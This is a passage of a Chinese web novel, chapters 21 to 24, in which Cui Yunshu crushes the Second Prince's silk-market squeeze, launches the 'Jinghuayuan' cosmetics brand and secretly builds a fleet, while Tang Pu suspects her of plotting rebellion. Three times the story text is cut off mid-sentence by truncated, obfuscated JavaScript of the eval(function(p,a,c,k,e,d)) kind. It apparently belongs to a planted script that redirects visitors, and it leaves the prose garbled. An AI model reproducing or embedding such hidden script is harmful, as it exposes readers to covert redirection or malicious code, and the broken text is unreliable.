清姝院内,崔云姝将一份密报递给母亲宋氏。她的神情平静无波,仿佛在谈论一件与自己毫不相干的事情。 宋氏接过密报,一目十行地扫过,脸色渐渐凝重起来。 密报上清清楚楚地记录着:自半月前起,一股庞大的、来历不明的资金,开始疯狂涌入江南的原料市场 。以苏州、杭州的织造府为中心,这股资金以远高于市价两成、甚至三成的价格,大量收购顶级的生丝、云锦、蜀锦等丝绸原料 。同时,从海路运抵泉州港的西洋香料、南海珍珠等奢侈品,也遭到了同样疯狂的扫货 。 “他们这是要买断我们所有的货源。”宋氏的声音里透着一丝寒意,“不仅如此,你看这里。” 她指着密报的末尾:“京城里,已经开始有‘江南丝绸因水患减产’、‘南海商路遭海盗侵扰’的流言传出。市面上的原料价格,一日三涨,人心惶惶。这分明是想制造恐慌,逼迫我们高价接盘,或是……让我们无米下锅。” 这的确是一招釜底抽薪的毒计。 “云间阁”系产业,无论是甜品、美妆还是即将推出的高端成衣,都极度依赖这些来自南方的优质原料。一旦供应链被切断,就如同被扼住了咽喉,不死也要脱层皮。 “已经有不少与我们相熟的商行掌柜,派人来旁敲侧击,询问我们是否要提前囤货了。”宋氏的眉头紧锁,“二皇子这一手,几乎是阳谋。我们若是不跟进,便只能坐以待毙;可若是跟进,便是将大笔的真金白银,投入到这个被他们恶意抬高的无底洞里,正中他们下怀。” 然而,出乎她意料的是,崔云姝听完这番话,非但没有半分焦虑,反而轻轻笑了起来。 “阿娘,这不正是我想要的吗?”她从棋盒里拈起一枚白子,在棋盘上轻轻落下一子,截断了黑子的一片阵地,“鱼儿不把饵料吃足,又怎会心甘情愿地上钩呢?” “你的意思是……”宋氏看着女儿那双深不见底的眸子,心中一动。 “传令下去,”崔云姝的声音不大,却充满了不容置疑的决断力,“从明日起,京城所有‘云间阁’分店,暂时关闭。总店的冰品供应量,削减七成。对外宣称……原料短缺,难以为继。” “什么?!”宋氏大惊失色,“姝儿,你这是……自断臂膀啊!我们好不容易才营造出的火爆局面,如此一来,岂不前功尽弃?这更是向对手示弱,只会让他们更加得意忘形!” “就是要让他们得意忘形。”崔云姝的嘴角,勾起一抹狡黠的弧度,像一只算计精明的小狐狸,“阿娘,您想,当一头饿狼以为它已经将绵羊逼入绝境时,它会做什么?” “它会……倾尽全力,发起最后的攻击。”宋氏若有所思。 “不错。”崔云姝点了点头,“二皇子投入了巨额的资金来囤积原料,他最终的目的,是要将这些原料以一个天价卖出去,不仅要让我们大出血,更要从这场豪赌中大赚一笔。我们现在要做的,就是示敌以弱,造成我们资金链断裂、生意受挫的假象,引诱他们……投入更多的资金,将这场赌局的赌注,抬到最高!” 宋氏看着女儿,看着她脸上那份与年龄不符的沉稳与自信,心中的担忧渐渐被一种莫名的期待所取代。她知道,她的女儿,又要开始下一盘惊天动地的大棋了。 接下来的十数日,整个京城的商界,都笼罩在一片风声鹤唳之中 。 正如崔云姝所料,“云间阁”关停分店、削减供应的消息一出,立刻被解读为其资金链断裂、无力支撑的信号。原料市场的价格,如同脱缰的野马,彻底失控。生丝的价格,从原先的每匹十两,一路飙升到了三十两,依旧有价无市。 二皇子府上,张师爷满面红光地向唐景明汇报着战果。 “殿下,大功告成!那崔家丫头,到底还是太嫩了!如今市面上九成以上的顶级原料,都已在我们手中。崔家的商铺已经有关门的,剩下的也是苟延残喘。据我们安插的眼线回报,崔家的当家主母宋氏,这几日急得是焦头烂额,四处奔走,想要筹措资金,却处处碰壁!” “哈哈哈!好!做得好!”唐景明一扫之前的阴郁,放声大笑,“本王倒要看看,没有了原料,她那个‘冰雪郡主’,还拿什么来做生意!传令下去,让江南那边的人,再把价格抬一抬!告诉他们,本王要让崔家……把之前赚的,连本带利地全都吐出来!” 二皇子党羽掌控的各大商行,开始大肆宣扬他们囤积的“天价”原料,营造出一种“奇货可居”的氛围,只等着崔家这个最大的买主,上门来任其宰割。 整个京城,所有人的目光,都聚焦在了崔家身上。人人都想知道,这位曾经风光无限的“冰雪郡主”,面对如此绝境,究竟会如何应对。 是屈辱地低头,高价接盘,以求苟延残喘?还是……就此一蹶不振,眼睁睁看着自己一手打造的商业帝国,轰然倒塌? 然而,就在二皇子党自以为胜券在握,准备收网享受胜利果实的那一天清晨,一个足以让整个京城商界都为之地震的消息,毫无征兆地传开了。 “云间阁”,重新开业了! 不仅是朱雀大街的总店,就连之前关闭的所有分店,也在同一时间,重新挂上了营业的牌子! 更令人震惊的是,“云间阁”门口的告示上,用醒目的黑墨写着:为庆贺重开之喜,本店所有冰品、茶点,一律八折!同时,本店旗下绸缎庄“锦绣坊”即日开业,所有丝绸布料,均以低于市价一成的价格出售!欢迎惠顾! 此消息一出,满城哗然! 低于市价一成?! 在如今这个原料价格飞涨到天上去的时候,“云间阁”哪来的底气,敢如此降价促销?他们疯了吗? 无数人抱着看热闹和占便宜的心态,蜂拥而至。然而,当他们看到那从“锦绣坊”库房里一车又一车、源源不断地运出的、堆积如山的各色顶级丝绸时,所有人都傻眼了。 那丝绸的品质、色泽、种类,比之二皇子党羽们囤积的那些,有过之而无不及! 而在“云间阁”总店的门口,崔家的管事更是当众宣布:崔家不仅原料充足,更愿为京城商界同仁分忧。自即日起,崔家将开放自家货仓,向所有商行,以低于当前市价两成的价格,无限量供应生丝、香料等各种原料! “轰——” 如果说之前的消息是惊雷,那么这一条,便是足以将整个天都炸开的霹雳! 市场,瞬间崩溃了。 那些前几日还在为高价囤货而沾沾自喜的商人们,此刻一个个面如死灰。他们手中那些以天价吃进的原料,在一瞬间,就成了无人问津的、滚烫的山芋! “不可能!这绝对不可能!”二皇子府上,唐景明看着手中那份紧急呈报上来的密报,双目赤红,状若疯狂,“她从哪里弄来的这么多货?!她哪来这么多钱?!” 张师爷也早已没了之前的得意,他瘫坐在地上,面无人色,口中喃喃道:“圈套……这是个圈套……从一开始,我们……就掉进了她设下的圈套里……” 是的,圈套。 一个崔云姝用了一个多月的时间,精心编织的巨大圈套。 她所谓的“资金链断裂”,不过是引诱敌人将所有赌注都押上牌桌的障眼法。她真正的杀招,一直都藏在暗处,藏在她那些不为人知的、巨大的秘密货仓里! 当二皇子党羽们自以为胜券在握,将所有资金都变成了仓库里那些“天价”的货物时,崔云姝突然开放了自家的货仓,用海量的、低价的库存,向市场发起了毁灭性的降维打击 。 价格瞬间崩盘。二皇子党羽们高价囤积的货物,想要出手,就必须亏本甩卖。他们卖得越多,亏得越多。可若是不卖,那堆积如山的货物,每日产生的仓储和维护费用,就是一个无底洞,足以将他们活活拖垮。 他们,被套牢了。 据崔家的账房先生初步估算,二皇子一派在这场商业绞杀中,前前后后投入的资金,不下三百万两白银。而经此一役,这些钱,至少亏损了七成以上。元气大伤,一蹶不振! 而崔云姝,则通过抛售自己早年低价囤积的库存,不仅粉碎了敌人的经济封锁,更是在这场博弈中,赚得盆满钵满,完成了最原始、也最血腥的资本积累。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那个在圣寿宴上,献出“点水成冰”之术,技惊四座的“冰雪郡主”…… 那个能策划出“云间阁”这等精密商业布局的幕后东家…… 那个能预言江南漕运弊案,助其兄长在东宫立下奇功的“先知”…… 还有,那个野心勃勃,要组建远洋船队,开辟海外航路的“梦想家”…… 以及现在,这个在秘密货仓里,囤积了足以支撑一场局部战争的战略物资的……“商人”! 一个可怕的、却又无比符合逻辑的猜想,如同最疯狂的藤蔓,瞬间占据了他的整个大脑! 他明白了。 他终于明白了! 崔云姝……她所做的这一切,根本就不是为了什么“跑路计划”! 她囤积钱粮,是为了招兵买马! 她编织情报网,是为了掌控天下动向! 她建造船队,是为了开辟第二战场,是为了给自己留一条可以随时进退的后路! 而她口中的“三年后”,极有可能……就是她和她背后那个人,预定好的“举事”之期! 一个可怕的猜想浮上心头:崔云姝……难道在为一场战争做准备? 唐璞的心头剧震。 他看着窗外那片属于崔府的方向,眼神复杂到了极点。 原来,他所以为的“合作”,他所以为的“试探”,在她眼中,竟是如此的可笑。她不是什么需要他保护的商业奇才,她分明是……是太子唐景承藏得最深、最锋利的一把刀!是为那场即将到来的“大业”,默默准备着一切的……幕后棋手! 一股莫名的、混杂着震惊、敬佩、甚至……兴奋的情绪,涌上了他的心头。 他非但没有感到被欺骗的愤怒,反而产生了一种找到同类的、棋逢对手的释然与激动。 原来,她和他,是同路人。 “传令下去,”他对着铁牛,声音低沉而有力,“从今天起,将对崔四小姐的监视,等级提到最高。但……不要干涉她的任何行动。我不仅要知道她做了什么,我还要知道,她为什么这么做。” 他要亲眼看着,她是如何一步步地,将这盘惊天动地的大棋,下到最后。 而他,安郡王府的唐璞,也该是时候,选择自己的位置,落下自己的棋子了。 22.第 22 章 秋意渐浓,一场酣畅淋漓的商业反击战,以崔云姝的完胜而告终 。 二皇子一派在这场豪赌中输得血本无归,不仅折损了数百万两白银的巨额资金,更因操作失当、扰乱市场而受到了来自朝堂内外的诸多攻讦,一时间元气大伤,不得不暂时收敛了爪牙 。 经此一役,崔云姝的商业帝国不仅没有被削弱,反而通过吞噬对手的资源、整合混乱的市场,变得比以往任何时候都更加庞大和稳固。她名下的秘密货仓里,堆满了从二皇子党羽手中低价收购来的、足以支撑数年生意的海量原料 。 “大秦女首富”这个名号,开始在京城中悄然流传。虽然无人知晓“云间阁”系产业背后真正的掌舵人是谁,但所有人都清楚,崔家,这个古老的世家门阀,已经拥有了一只能点石成金的、看不见的巨手 。 然而,崔云姝并未沉浸在胜利的喜悦中。她比任何人都清楚,商场上的胜利,不过是万里长征的第一步。二皇子一日不倒,这场战争便一日不会停歇。她必须乘胜追击,不断地扩张自己的版图,将自己的触角,伸向每一个能带来财富与影响力的领域 。 在彻底稳固了原料供应链之后,崔云姝酝酿已久的第二个大计划,被正式提上了日程 。 “镜花缘”。 这个充满了诗情画意的名字,是她为自己即将推出的高端美妆品牌所取的 。 她将目标,对准了全天下最爱美、也最舍得为“美”一掷千金的群体——女人们。 【云间阁总部,清姝院】 “阿娘,您看,这是女儿新调配出的三种口脂颜色。” 清姝院内,崔云姝将几个精致的白玉小圆盒,一一在母亲宋氏面前排开。 盒盖打开,露出里面颜色各异、质地细腻的膏体。一为“朱砂痣”,色泽殷红如血,明艳动人;二为“豆蔻梢”,是带着些许橘调的粉,娇俏活泼;三为“醉扶归”,色如熟透的浆果,沉静中又透着一丝魅惑。 “此口脂,女儿以蜂蜡、猪胰为基底,辅以红蓝花、紫草等天然草木之色,又添入了少许从西洋商人手中购得的珍贵香料。不仅色泽饱满,滋润不干,更带有淡淡的异域芬芳。”崔云姝拿起一根小小的玉棒,蘸取了些许膏体,在自己手背上轻轻划过,留下一道均匀而亮丽的色彩。 宋氏看着女儿手背上那三道截然不同的、却都美得令人心动的颜色,眼中满是惊艳。她自己便是保养大家,对各类胭脂水粉的优劣了如指掌。只一眼,她便看出,女儿这口脂的质地与色泽,远胜于市面上任何一家老字号的产品 。 “不止是口脂,”崔云姝又取来几个瓷瓶,“女儿还研制出了以珍珠粉、杏仁乳为原料的美白面霜;用烧焦的柳枝研磨成粉,混合油脂制成的、更易上妆的眉黛;以及……用蒸馏法从鲜花中提取出的、比寻常香露纯粹百倍的‘花间露’。” 口脂、面霜、眉黛、香水…… 一套完整的、超越了这个时代认知的美妆产品线,就这样被崔云姝清晰地展现在了宋氏面前 。 “好……好孩子……”宋氏看着眼前这些瓶瓶罐罐,激动得有些说不出话来。她知道,这些东西一旦面世,将会给京城乃至整个大秦的胭脂水粉市场,带来怎样一场颠覆性的革命! “阿娘,‘镜花缘’的铺面,我已经选好了,就在‘云间阁’总店的隔壁。我打算将两家店打通,形成一个联动的、专为贵妇名媛打造的顶级消费场所。”崔云姝的眼中,闪烁着商业精英的锐利光芒,“但这一次,我们的营销策略,要换一种玩法。” “如何玩法?”宋氏兴致盎然地问道。 “口碑营销,与……饥饿营销的结合。”崔云姝笑道,“在‘镜花缘’正式开业之前,我们将举办一场‘百花品鉴会’。” 她详细地阐述了自己的计划:邀请一百位京城中最具影响力的贵妇与名媛,前来参加一场私密的、极尽奢华的品鉴会。在会上,免费赠予她们每人一套完整的“镜花缘”产品试用,并由最专业的美妆师傅(由崔云姝亲自培训的婢女),为她们量身打造最适合的妆容。 “女人,是最相信‘眼见为实’的。当她们亲眼看到自己的容貌在‘镜花缘’产品的妆点下变得更美,当她们走出品鉴会,接受到来自丈夫、朋友、乃至路人惊艳的目光时,她们每一个人,都会成为我们最忠实、也最具有说服力的‘活广告’。” “而品鉴会之后,‘镜花缘’并不会立刻开业。我们要宣布,因原料珍稀、工艺复杂,首批产品数量有限,需半月之后,方能正式发售。如此一来,便能将她们的期待值与购买欲,推到最高峰!” 听完女儿这环环相扣、对人心把握得淋漓尽致的营销策略,宋氏早已是叹为观止。她拉着女儿的手,感慨万千:“姝儿,阿娘有时真想敲开你的小脑袋看看,里面到底都装了些什么奇思妙想。” 计划很快便付诸实施。 凭借着“云间阁”积累下的顶级人脉,以及“冰雪郡主”的赫赫声名,“镜花缘”的百花品鉴会请柬一经发出,便得到了京城所有顶级贵妇名媛的热烈响应。 品鉴会当日,崔家的私家园林内,名媛云集,衣香鬓影。当那些平日里用惯了宫廷御品的贵妇们,第一次体验到“镜花缘”那细腻的质地、惊艳的色泽、以及由专业“美妆顾问”提供的一对一妆容设计服务时,她们彻底疯狂了。 正如崔云姝所料,品鉴会结束后,这群行走的“活广告”,立刻在京城的上流社交圈里,掀起了一场关于“镜花缘”的巨大风暴。 “你听说了吗?崔家四姑娘又弄出了神仙玩意儿!” “何止是听说!我昨日在安国公府的宴会上,亲眼见到李家夫人了!不过是用了那‘镜花缘’的面霜和口脂,整个人瞧着年轻了不下五岁!” “真的假的?有那么神奇?” “千真万确!我还听说,那‘镜花缘’的香露,名为‘花间露’,只需一滴,便能香飘十里,三日不散!” 半个月的“饥饿营销”,将市场的期待值彻底引爆。当“镜花缘”正式开业的那一天,其场面之火爆,比之当初的“云间阁”,有过之而无不及。无数贵妇名媛挥舞着银票,将店铺的门槛都几乎踏破,只为能抢到一套传说中的“神仙妆品”。 崔云姝的商业帝国,再次扩张,她“大秦女首富”的名号,也愈发响亮 。 然而,这巨大的成功,也如同一块投入鲨鱼群中的鲜肉,不可避免地引来了更强大、更贪婪的掠食者的觊觎。 【皇宫,翊坤宫】 “啪!” 一只绘着粉彩牡丹的官窑茶盏,被狠狠地摔在地上,瞬间四分五裂。 “一群废物!”身着华贵宫装的王贵妃,气得脸色铁青,胸口剧烈起伏。她指着面前跪了一地的、王家商号的掌柜们,厉声斥骂,“不过是一个黄毛丫头开的铺子,就把你们一个个都逼到了绝路上?本宫养着你们,就是让你们来看本宫笑话的吗?!” 掌柜们吓得瑟瑟发抖,头都不敢抬。 “娘娘息怒,”为首的王掌柜颤声道,“非是小的们无能,实在是……是那‘镜花缘’的产品,太过……太过邪门了!无论是口脂的颜色,还是面霜的效用,都远非我等所能比。如今……如今京城高端胭脂水粉的生意,十成里倒有七八成,都被她一家给抢走了!” 王贵妃闻言,更是气不打一处来。 宫中用度,以及京城高端胭脂水粉的市场,向来都是由她母家王家所掌控的商号在把持 。这不仅是王家一项重要的财源,更是她身为贵妃,掌控 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她的妆容,精致得宛如一幅工笔画。眉如远山含黛,肤若凝脂点漆,而唇上那一抹恰到好处的殷红,更是如同点睛之笔,让她整个人都散发出一种清冷与明艳交织的、令人窒息的美。 “熙妹妹今日,可真是光彩照人啊。”皇后看着她,眼中满是毫不掩饰的赞赏。 就连一向不苟言笑的皇帝,目光落在她身上时,也忍不住多停留了片刻。 王贵妃坐在席间,看着成为全场焦点的崔云熙,脸色难看到了极点。她知道,自己输了。 而太子唐景承,更是从崔云熙一出现,目光便再也无法从她身上移开。他走到她身边,看着她唇上那抹动人的红色,眼中满是柔情与爱意,忍不住当着众人的面,低声吟道: “人面桃花相映红。” 这句话,与其说是称赞,不如说是一种最深情的告白。 未来国君与国母的“带货”效应,是毁灭性的 。 皇后娘娘的赞赏,太子殿下的“情话”,瞬间便传遍了整个京城。 王贵妃那道所谓的“禁令”,在一夜之间,便沦为了一个彻头彻尾的笑柄 。 而“镜花缘”的声望,则在这场无声的宫斗中,被推向了一个前所未有的顶峰 。无数之前还在观望的贵妇们,彻底打消了顾虑,疯了一般地涌向店铺,只为能买到一套“太子妃同款”的妆品。 清姝院内,崔云姝听着阿桃带回来的消息,只是淡淡一笑。 她知道,姐姐已经不再是那个需要她保护的、书中的“悲剧女配”了。她已经学会了用自己的方式,去守护她的爱情,去巩固她的地位。 而她,也终于可以更安心地,去走自己的路了。 23.第 23 章 “镜花缘”的胭脂风云,最终以王贵妃的黯然收场和崔云熙的艳压群芳而告终。崔云姝的商业帝国,在经历了这场来自宫闱的直接打压之后,非但没有受损,反而因其与东宫之间那层被世人津津乐道的“传奇色彩”,而变得更加根深蒂固,如日中天 。 然而,站在清姝院最高的阁楼上,俯瞰着脚下这座因她而风起云涌的繁华京城,崔云姝的心中,却始终萦绕着一丝无法驱散的寒意 。 她赢了每一场战斗,无论是对阵二皇子的商业绞杀,还是与王贵妃的宫闱暗战。她的财富如滚雪球般越积越多,她的影响力也早已超出了一个“郡主”应有的范畴。可她比任何人都清楚,这一切的繁华,都建立在沙滩之上。 她的商业帝国,无论多么庞大,都生长在大秦的疆土之内,都暴露在皇权那双无时无刻不在审视着一切的眼睛之下 。今日,皇帝可以因为欣赏她的聪慧而对她的“出格”一笑置之;明日,便也可能因为忌惮她的财力而挥下屠刀。 君心难测,帝王之怒,伏尸百万。 只要她和她的家族还在这片土地上,就永远无法真正摆脱那个名为“命运”的枷锁。她所做的一切,囤积的钱粮,编织的人脉,都只是在为那艘随时可能倾覆的巨轮,增添一些不甚牢靠的压舱物罢了。 她需要一条真正的后路。一条能够彻底跳出这盘棋局,能够让皇权鞭长莫及的……终极退路 。 她的目光,越过层层叠叠的屋檐,投向了遥远的、蔚蓝的东方。 大海。 只有那片广袤无垠、充满了未知与机遇的深蓝,才是她真正的希望所在。 一个无比大胆、甚至可以说是疯狂的计划,在她的脑海中,渐渐成型。 她要造船,要组建一支属于自己的远洋船队。她要凭借脑海中那些超越时代的航海知识,去开拓全新的贸易航线,去寻找那些传说中遍地黄金的未知大陆。 这,才是她的“诺亚方舟”计划。 而要实现这个计划,她需要一个强大、可靠,且拥有军方背景的盟友,来为她扫平最关键的障碍。 安郡王府的小王爷,唐璞。 这个名字,自然而然地浮现在她的心头。 【男主视角】 唐璞是在“云间阁”顶楼的雅间里,再次见到崔云姝的。 自上次“结盟”以来,他便成了这里的常客。他以商议“合作”为名,几乎每隔三五日便会来此一次,实则,是来观察他的“猎物”,等待着她的下一步动作。 他看着她是如何在谈笑间,便将二皇子精心策划的经济封锁打得落花流水;他看着她是如何借着姐姐崔云熙的东风,巧妙地化解了来自后宫的打压。她的每一次出手,都精准、狠辣,且充满了匪夷所思的想象力。 他越是观察,便越是心惊,也越是……兴奋。 他几乎可以肯定,自己已经站在了一场惊天大变革的前夜。而眼前这个看似娇弱的少女,便是这场变革的首席执棋人。 今日,崔云姝屏退了所有下人,雅间里只剩下他们二人。她没有再像往常一样与他谈论账目或是京中的趣闻,而是开门见山,直接抛出了一个让他心脏都为之停跳的计划。 “小王爷,”崔云姝的眼神,在烛火下亮得惊人,“我想……组建一支我们自己的远洋船队。” 唐璞握着茶杯的手,猛地一紧。 “我想开拓一条全新的、不经过任何官府驿站的海外贸易航线,”崔云姝继续说道,她的声音里充满了蛊惑人心的力量,“去寻找传说中,那条能带来无尽财富的‘黄金航路’。” 远洋船队! 黄金航路! 唐璞的脑海中,瞬间轰然炸响! 来了!她终于要亮出她真正的獠牙了! 他表面上不动声色,只是微微挑眉,故作惊讶地道:“郡主的胃口,可真是不小。远洋贸易,利虽大,但风险更高。海盗倭寇,风浪叵测,九死一生。更何况,想要组建一支足以远航的船队,其耗费之巨,怕是连国库都要伤筋动骨。这可不是一桩划算的买卖。” 他知道,他所说的这些困难,对于一个真正的商人来说,是足以让她望而却步的天堑。但对于一个心怀“大业”的谋逆者来说,这些,都不过是必须要克服的、微不足道的障碍。 果然,崔云姝闻言,只是淡淡一笑:“风险与收益,向来是并存的。至于小王爷担心的技术与资金问题,云姝自有解决之道。” “哦?” “钱,‘云间阁’和我名下的产业,足以支撑。”崔云姝的语气充满了自信,“至于船……我这里,有几张祖上传下来的、不为人知的‘宝船’图纸,其坚固与航速,远非当今任何官船或商船可比。” 祖上传下来的图纸? 唐璞心中冷笑,他才不信这等鬼话。这分明是太子一系暗中积蓄了多年的、不为人知的底牌! 他看着崔云姝那双清澈而坚定的眸子,内心的猜想,在这一刻,几乎已经变成了现实 。 一支拥有顶级技术、不受朝廷控制、财力雄厚的私人海军…… 这哪里是什么商队?这分明是一支可以随时用来运输兵力、封锁海岸、甚至在“大事”失败后,能够为主上保留火种、退往海外以图东山再起的……王牌之师! 而她口中的“黄金航路”,恐怕也并非什么贸易航线,而是……他们预定好的,位于海外的秘密基地! 这一刻,唐璞只觉得浑身的血液都开始沸腾。他为自己能参与到如此宏大、如此缜密的“大业”之中,而感到一阵阵战栗般的兴奋。 他终于明白,自己没有看错人。眼前这个少女,就是他一直在寻找的、能够与他并肩,共赴这九死一生之路的……同类! “好。”他放下茶杯,声音里带着一丝自己都未曾察觉的沙哑与激动,“郡主有如此魄力,唐某若是再推三阻四,倒显得小家子气了。说吧,需要我做什么?” 他答应得如此爽快,反倒让崔云姝有些意外。她原以为,还要再费一番口舌,甚至许以重利,才能说服他。 她不知道,在她眼中,这是一场商业冒险的开始;而在唐璞眼中,这却是他们“谋反大业”正式从陆地走向海洋的、历史性的一刻。 “我需要两样东西,”崔云姝收敛心神,沉声道,“一个绝对可靠的、技艺最高超的造船大师。以及……一处绝对隐秘的、能够避开所有官府耳目的造船基地。” “这有何难。”唐璞笑了,那笑容里,带着一种尽在掌握的自信。 【东海之滨,无名海湾】 数日后,唐璞亲自带着崔云姝,快马加鞭,秘密来到了位于登州府以东百里之外的一处偏僻海湾 。 这里荒无人烟,三面环山,唯一的入口被茂密的原始森林所遮蔽。海湾内风平浪静,水深且阔,是一个天然的、绝佳的深水良港。最重要的是,此地远离官道,地图上甚至都没有标注,是连最熟悉地形的本地渔民都不会踏足的绝密之地 。 “这里,如何?”唐璞指着这片海湾,对着身边一身劲装、风尘仆仆的崔云姝问道。 崔云姝看着眼前这片宛如世外桃源的海湾,眼中满是惊叹与满意。她知道,光是找到这样一处地方,便足以证明唐璞所付出的心力。 “极好。”她由衷地赞叹道。 “人,我也给你带来了。”唐璞朝着不远处的一座茅草屋扬了扬下巴。 一个须发皆白、身形却依旧健硕的老者,从茅屋中走了出来。他穿着一身粗布短打,手里拿着一个酒葫芦,眼神浑浊,满脸的不耐烦。 “唐小子,你又来烦我老头子作甚?我说了,我早已封锤,再不造船了!”老者的声音,如同他身后的海浪般洪亮。 “鲁大师,您先别急着拒绝。”唐璞笑着上前,将崔云姝引荐给他,“我今日,可是为您带来了一份您无论如何也无法拒绝的‘礼物’。” 说着,他从怀中取出一卷羊皮纸,递了过去。 那正是崔云姝根据自己前世记忆,亲手绘制的、一艘经过改良的“福船”的结构图。图纸上,水密隔舱、硬帆、升降式中插板、平衡舵……各种远超这个时代认知的、精巧绝伦的设计,被清晰地标注了出来。 被称作“鲁大师”的老者,原本一脸不屑,可当他的目光落在图纸上的那一刻,他那双浑浊的眼睛,瞬间迸发出了骇人的精光 [2]。 他一把夺过图纸,双手颤抖地将其展开,嘴里喃喃自语:“鬼斧神工……当真是鬼斧神工!这……这水密隔舱的设计……还有这平衡舵……是谁?究竟是谁能想出如此绝妙的设计?!” 他曾是大秦工部最顶级的造船大师,因不满朝中官僚倾轧,愤而挂印而去,在此地隐居了近二十年 。他一生痴迷于造船,自以为技 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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崔云姝闻言,心中大喜。她正愁如何解决船坞的安保问题,没想到唐璞竟主动提出,派自己的亲兵前来。这在她看来,是唐璞为了加深他们“同盟”关系,所表现出的最大诚意。 “如此,便多谢小王爷了。”她毫不犹豫地答应了下来 。 她完全没有意识到,自己这句轻描淡写的“多谢”,无异于引狼入室,亲手将自己最核心的机密,置于了盟友最严密的监控之下 。 而唐璞,在得到她肯定的答复后,嘴角的弧度,在无人察觉的夜色中,扬得更高了。 他知道,他终于将自己的眼睛和耳朵,名正言顺地,安插到了敌人……不,是“盟友”的心脏地带。 【数月后,安郡王府,书房】 一座庞大的秘密船坞,在无名海湾中,拔地而起 。 在崔云姝提供的、一幅幅颠覆时代的改良船只图纸的指导下,在鲁大师那近乎疯魔的热情与技艺的加持下,在无数金钱与资源的堆砌下,一艘艘巨舰的龙骨,如同史前巨兽的骸骨,开始在船台上渐渐成型。 这一日,一匹快马自东海之滨,一路疾驰,踏破星月,冲入了京城的安郡王府。 一名玄甲卫装束的信使,将一卷用火漆封口的羊皮纸筒,恭敬地呈送到了唐璞的面前。 “小王爷,这是鲁大师根据崔四小姐提供的第一艘‘福船’的最终定稿图,命属下加急送回,请您过目。” 唐璞屏退左右,独自一人在书房内,展开了那卷羊皮纸。 烛火之下,一艘庞大而优美的船只结构图,清晰地展现在他眼前。 唐璞自幼熟读兵书,对军械、战船的构造了如指掌。他的目光,如同最精准的标尺,飞快地在图纸上扫过。 流线型的船身,远比寻常福船更长、更窄,这是为了追求更高的航速与破浪能力。 多达五根的巨型桅杆,意味着它可以悬挂更复杂的帆索组合,以应对各种复杂的海况。 最让他心惊的,是那异常厚重、采用了双层龙骨和加强肋板设计的船体结构,以及……在那船身两侧,预留出的一排排、间隔均匀的、被巧妙伪装成通风口的方形开口 。 唐璞的呼吸,在这一刻,几乎停滞了。 他伸出手,指尖颤抖地抚过那些方形开口的标注。 这不是通风口! 这是……炮门!是足以安放重型火炮的……标准炮位! 他猛地抬起头,眼中满是无法抑制的震撼与狂热。 一股冰冷的、却又无比刺激的电流,从他的尾椎骨一路窜上天灵盖。 他确认了 。 他终于百分之百地确认了! 这根本就不是什么用来远洋贸易的商船! 这是一艘彻头彻尾的、随时可以加装重炮、纵横四海的……准战舰! 24.第 24 章 【男主视角】 夜,深沉如墨。 安郡王府的书房内,烛火跳动,将唐璞的身影投射在背后的墙壁上,拉扯出巨大而沉默的轮廓。 他的面前,摊开着一幅巨大的京畿地图。然而,他的目光却并未落在地图上,而是死死地盯着桌案一角那几卷被他视为最高机密的卷宗 。 最上面的一卷,是刚刚从东海之滨八百里加急送回的“福船”最终定稿图。那流线型的船身,那预留出的、可以随时加装重炮的炮门,每一个细节都在无声地嘲笑着“商船”这个可笑的伪装 。 图纸之下,是一份厚厚的货仓清单。上面罗列的,不仅仅是丝绸与香料,更有堆积如山的粮食、数以万斤计的铁矿石,以及足够武装一支小型军队的优质木材 。这些,都是他派玄甲卫冒死从崔云姝那守备森严的秘密货仓中探查出的冰山一角。 再往下,是关于江南漕运弊案的详细卷宗。崔云姝那近乎神鬼莫测的“预言”,以及她为兄长崔元珏提供的、足以将二皇子党羽一击致命的精准策略,如今在他看来,不再是单纯的聪慧,而是一场完美的、借力打力的“练兵”。她不仅借此重创了政敌,更是在实战中,检验了东宫与崔家在朝堂之上的协同作战能力 。 还有,遍布全国的“云间阁”与“镜花缘”店铺,它们看似是商业据点,实则……不正是覆盖了大秦疆域最完美的民间情报与后勤网络吗 ? 所有的线索,所有的证据,所有的疑点,在这一刻,都被那张“准战舰”图纸,如同一根金线般,完美地串联了起来 。 唐璞缓缓闭上眼睛,一个清晰、完整,且逻辑严密得令人战栗的“真相”,在他的脑海中轰然成型。 太子唐景承,那个看似温润如玉、与世无争的国之储君,实则野心勃勃,隐忍蛰伏,意图……谋反 。 而崔云姝,这位看似不问世事、以懒散娇憨闻名于世的闺阁少女,竟是太子藏得最深、最锋利的一枚棋子!是为他这场即将到来的、颠覆整个大秦的“大业”,默默准备着兵马钱粮、铺设着后路的……首席谋主! 这个念头一旦形成,便再也无法遏制。它疯狂地滋长,解释了唐璞心中所有关于崔云姝的困惑。 她为何能在春日宴上低声念叨“三年后,来不及了”?因为那便是他们预定好的举事之期! 她为何拥有远超年龄的谋略与见识?因为她从一开始,便身负着常人无法想象的重任! 她为何要囤积战略物资、打造准战舰?因为她所图谋的,从来就不是什么富可敌国的商业帝国,而是……这天下! 唐璞猛地睁开双眼,那双一向慵懒的眸子里,此刻燃烧着前所未有的、炽热的光芒。 他没有感到被欺骗的愤怒,反而产生了一种难以言喻的、混杂着震惊、敬佩与狂热的兴奋。他像一个孤独的登山者,在攀登一座险峻孤峰的途中,猛然发现,在这条九死一生的道路上,竟还有一个与他怀揣着同样目标的……同路人。 他再也无法坐视不理了 。 他不能再以一个“商业伙伴”的身份,隔岸观火地进行他那可笑的“观察”与“试探”。他必须站出来,走到她的面前,告诉她,他愿意……与她并肩! 唐璞熄灭了烛火,换上一身便于夜行的黑色劲装,如一只敏捷的猎豹,悄无声息地融入了沉沉的夜色之中。 他要去找她,他要当面问清楚。 